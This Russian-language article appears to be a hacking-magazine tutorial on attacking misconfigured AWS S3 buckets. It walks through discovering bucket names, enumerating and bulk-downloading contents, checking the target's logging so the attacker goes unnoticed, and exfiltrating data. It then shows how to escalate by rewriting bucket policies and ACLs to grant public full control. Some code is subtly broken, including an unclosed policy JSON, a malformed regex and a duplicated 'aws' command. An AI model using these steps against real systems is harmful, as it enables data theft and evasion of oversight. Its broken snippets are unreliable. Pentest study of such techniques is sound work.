Проверка ведер. Как искать уязвимости в бакетах AWS S3
У бакетов есть возможность контроля доступа: объекты могут быть общедоступными либо приватными. Доступ к приватным бывает как только для чтения, так и с возможностью записи.
Внутри S3 есть два типа данных: Bucket — контейнер для объектов и Object — сам файл. Самые частые способы взаимодействия:
- List — перечислить все хранилища S3 или файлы на S3;
- Get — получить файл;
- Put — поместить файл на S3;
- Delete — удалить файл.
Формат URL для доступа к S3 выглядит так:
http(s)://{имя бакета}.s3.{регион}.amazonaws.com
Здесь {имя} определяется владельцем бакета, например:
https://xakeprufiles.s3.us-west-2.amazonaws.com
Бакеты S3 можно обнаружить разными способами, например найти URL в исходном коде страницы веб‑сайта, в репозиториях GitHub или даже автоматизировать процесс с помощью готовых утилит.
Для перебора можно использовать название компании, за которым следуют общие термины. Например, xakepru-assets
, xakepru-www
, xakepru-public
, xakepru-private
и так далее.
Также к бакету или объекту может быть привязана политика безопасности.
С помощью политик можно указать, кто имеет доступ к ресурсу и какие действия может выполнять с ним. Есть четыре варианта:
- публичный доступ (Public Access);
- ACL — сокращение от Access Control List. Можно настраивать как на бакет, так и на конкретный объект бакета;
- Bucket Policies — настраиваются только для бакета;
- Time Limited URLs — временные URL для доступа.
Еще есть политики, основанные на личности, они прикрепляются к пользователю, группе или роли IAM. Позволяют определять, что объект может делать.
ПОИСК БАКЕТОВ
Начать стоит с сервиса greyhatwarfare.com. Он позволяет находить бакеты и объекты в них с помощью ключевых слов.
Если толком ничего не находится, то идем на сайт компании. Здесь нам поможет Burp Suite. Просто просматривай веб‑сайт, а затем анализируй полученную карту.
При этом бакеты всегда находятся на следующих URL:
http://s3.[region].amazonaws.com/[bucket_name]/ http://[bucket_name].s3.[region].amazonaws.com/ http://s3-website-[region].amazonaws.com/[bucket_name] http://[bucket_name].s3-website-[region].amazonaws.com http://[bucketname].s3.dualstack.[region].amazonaws.com http://s3.dualstack.[region].amazonaws.com/[bucketname]
Нужно ли нам подбирать правильный регион? Нет! Amazon любезно подскажет, что мы ищем где‑то не там. Поэтому нам достаточно лишь названия бакета.
Но как получить это название? Чаще всего оно скрывается в записях CNAME (в них сопоставлены псевдонимы с исходными DNS-именами) домена атакуемой компании. Обнаружить их можно вот так:
Да, может быть, CNAME и пуст, но посмотрим, что еще есть на этом IP:
И получим, что к IP привязан еще и адрес s3-website-us-west-2.amazonaws.com
. Это так называемый Website Endpoint. Эндпоинты используются, когда с бакетом интегрирован простенький статический веб‑сайт.
Все бакеты S3, настроенные для веб‑хостинга, получают домен AWS, который можно использовать без собственного DNS. То есть имя бакета в данном случае совпадает с именем домена, а именно flaws.cloud
.
Конечно же, каждый домен перебирать вручную проблематично. Ускорит дело простенький скрипт на Bash:while read p; do
echo $p, curl --silent -I -i http://$p | grep AmazonS3
done < subdomains.txt
Обрати внимание, что не все домены зарегистрированы как записи CNAME. Некоторые могут не отображаться явно в процессе разрешения имен. В таком случае удобно использовать сайт dnscharts.hacklikeapornstar.com. Сюда можно загрузить список доменов, а сервис уже самостоятельно найдет записи и по возможности сопоставит их с облачными сервисами.
Если ты не знаешь, как находить поддомены, то рекомендую утилиту Amass в связке с новой техникой перечисления доменов.
На небольших таргетах одного инструмента будет достаточно:
amass enum -d <атакуемый домен> -passive -o res.txt
Пассивное сканирование найдет много лишнего, поэтому можно использовать активное:
amass enum -d <атакуемый домен> -active -o res.txt
Но если все еще мало, то загружай домены в Regulator:
python3 main.py <атакуемый домен> <файл с доменами> <output-file>
python3 main.py flaws.cloud res.txt flaws.rules
И генерируй список доменов с помощью полученных правил:
make_brute_list.sh flaws.rules flaws.brute
Итоговый список можно начинать проверять на валидность:
puredns resolve flaws.brute --write flaws.valid
Наконец, если никак не получается обнаружить имя бакета, то можно попробовать его сбрутить. Для этого существует куча инструментов:
S3Scanner
s3-inspector
AWSBucketDump (содержит список возможных имен)
flumberbuckets
bucky
teh_s3_bucketeers
aws-pentest-tools/s3
ПОЛУЧЕНИЕ СОДЕРЖИМОГО
Когда ты обнаружил максимальное число бакетов, пора переходить к перечислению их содержимого. С этим отлично справляется AWS CLI:
aws configure
Дальше вводим данные любой действительной учетной записи AWS.
Существует флаг --no-sign-request
, который позволяет получать анонимный доступ, но я рекомендую все‑таки вводить хоть какие‑нибудь учетные данные.
Иногда бывает, что от анонима ничего не найти, но разведка от лица какого‑нибудь пользователя раскрывает интересную информацию. Подчеркиваю: требуется ввести данные любой учетной записи AWS. Абсолютно любой.
Предлагаю начать с получения полного списка объектов в бакете:
aws aws s3 ls s3://<имя бакета> --recursive
aws s3api list-objects-v2 --bucket <имя бакета>
aws s3 ls s3://flaws.cloud --recursive aws s3api list-objects-v2 --bucket flaws.cloud
Если объектов очень много, то можно покопаться в них с помощью стандартных регулярок.
# Извлечение имен файлов из параметра Key (имя файла) grep '"Key"' object.txt | sed 's/[",]//g' > list_keys.txt # Указываем интересующие нас расширения patterns='\.sh$|\.sql$|\.tar\.gz$\.properties$|\.config$|\.tgz$\.conf$|\.zip$|\.7z$|\.rar$|\.txt$|\.ps1$|\.bat$|\.word$|\.xlsx$|\.xls$|\.pdf#39; # Находим файлы, соответствующие шаблону egrep $patterns list_keys.txt
Когда список возможных объектов получен, можно скачать их вот так:
aws s3api get-object --bucket <bucket-name> --key <имя файла> <download-file-location>
aws s3api get-object --bucket flaws.cloud --key aws.txt C:\Users\User\Desktop\downloaded.txt
Также можно скачать бакет целиком:
aws s3 sync s3://<bucket>/ .
Очень много бакетов содержат репозитории на GitHub. Если такой найдется, обязательно попытайся достать интересную информацию с помощью Gitleaks или TruffleHog.
РАЗВЕДКА ИЗ ОБЛАКА
Не стоит забывать про бакеты, даже если у нас уже есть доступ в AWS. Ведь именно в бакетах постоянно встречаются файлы конфигурации, кукбуки, скрипты, необработанные данные, а иногда даже бэкапы баз данных.
AWS CLI
Начинаем всегда с перечисления доступных бакетов:
aws s3api list-buckets
Теперь можем изучить все ACL, настроенные на бакет:
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api get-bucket-acl --bucket buckettest
Несложно догадаться, что Grantee — объект, которому выдаются права.
Настоящий хакер должен быть незаметным, как ниндзя. Поэтому обязательно проверяй, ведутся ли логи у атакуемого бакета:
aws s3api get-bucket-logging --bucket <имя бакета>
aws s3api get-bucket-logging --bucket buckettest
Если логирования нет, вывода не будет.
Если же логирование присутствует, AWS CLI уведомит нас об этом.
В данном случае все логи доступа к бакету buckettestlogging будут лежать в бакете xakepru.
Обязательно посмотри и политику, привязанную к бакету:
aws s3api get-public-access-block --bucket <bucket-name>
aws s3api get-public-access-block --bucket buckettest
- BlockPublicAcls — если true, то предотвращает создание любых ACL или изменение существующих ACL, дающих публичный доступ к бакету;
- IgnorePublicAcls — если true, то любые действия с общедоступными ACL будут игнорироваться; это не помешать их создать, но предотвратит последствия;
- BlockPublicPolicy — если true, то ставится запрет на создание или изменение политики, которая разрешает публичный доступ;
- RestrictedPublicBuckets — если true, то к бакету смогут получить доступ лишь авторизованные пользователи. Собственно, из‑за этого параметра я и советовал тебе указывать данные любой учетной записи AWS.
Наконец, получаем все объекты в определенном бакете:
aws s3api list-objects-v2 --bucket <bucket name>
aws s3api list-objects-v2 --bucket xakepru
Также ты можешь получить информацию об ACL конкретного объекта:
aws s3api get-object-acl --bucket <bucket-name> --key <object-name>
aws s3api get-object-acl --bucket xakepru --key aws.txt aws s3api get-object-acl --bucket xakepru --key folder1/aws.txt
Эксфильтрация
Чтобы достать данные из бакета, нам требуется доступ на чтение (READ).
Давай повторим пройденное. Как ты уже понял, самый частый мисконфиг — всем пользователям предоставляются права на чтение. В таком случае мы можем найти адрес бакета и прочитать его содержимое даже без аутентификации. Также бывает, что права на чтение есть лишь у авторизованных пользователей либо у одного конкретного пользователя. В таком случае мы сможем получить доступ к содержимому через API или CLI. Наконец, доступ к бакету можно получить, используя специально сгенерированную временную ссылку.
Полезно также смотреть размеры бакета и опись содержимого:
aws s3api list-objects --bucket <имя бакета> --output json --query "[sum(Contents[].Size), length(Contents[])]"
aws s3api list-objects --bucket flaws.cloud --output json --query "[sum(Contents[].Size), length(Contents[])]"
Как скачивать отдельный объект с помощью get-object либо весь бакет с помощью sync, мы уже разобрали. Теперь обратим внимание на временную ссылку для скачивания объектов. Любой, кто имеет валидные учетные данные и доступ к бакету, может создать ее:
aws s3 presign s3://<Bucket-Name>/<key-Object-Name> --expires-in <время в секундах>
aws s3 presign s3://xakepru/Xakep001.pdf --expires-in 604800
ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
К бакету могут быть привязаны политики, ACL, поэтому, имея определенные права, можем сделать, например, бакет общедоступным.
Изменение политики бакета
Для эксплуатации требуется наличие s3:PutBucketPolicy. С этой привилегией сможем предоставить больше разрешений на бакеты, например разрешим себе читать, записывать, изменять и удалять бакеты:
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <имя бакета>
Сама политика может выглядеть вот так:
{ "Id": "Policy1568185116930", "Version": "2012-10-17", "Statement": [ { "Sid": "Stmt1568184932403", "Action": [ "s3:*" ], "Effect": "Allow", "Resource": "arn:aws:s3:::<имя бакета>", "Principal": "*" } }
Изменение ACL бакета
Нам нужно s3:PutBucketAcl. Благодаря такой привилегии сможем изменить ACL, привязанный к бакету:
aws s3api put-bucket-acl --bucket <имя бакета> --access-control-policy file://acl.json
{ "Owner": { "DisplayName": "<Кого ты хочешь сделать владельцем>", "ID": "<ID>" }, "Grants": [ { "Grantee": { "Type": "Group", "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" }, "Permission": "FULL_CONTROL" } ] }
Изменение ACL объекта
Для этого потребуется s3:PutObjectAcl. Может быть так, что ACL на бакет изменить мы не сможем, но вот ACL на определенный объект в состоянии. Эксплуатируем:
aws s3api put-object-acl --bucket <имя бакета> --key <объект> --access-control-policy file://objacl.json
Политика может быть вот такой:
{ "Owner": { "DisplayName": "<Кого ты хочешь сделать владельцем>", "ID": "<ID>" }, "Grants": [ { "Grantee": { "Type": "Group", "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" }, "Permission": "FULL_CONTROL" } ] }
ВЫВОДЫ
Казалось бы, S3 — не более чем сервис хранения данных. Но, как ты смог убедиться, даже обычное файлохранилище может быть уязвимым само и открывать другие уязвимости. Любая возможность расширить поверхность атаки важна при пентестах, и плохо настроенные бакеты могут в этом плане сослужить отличную службу.
Наш канал : https://t.me/webhack_kakao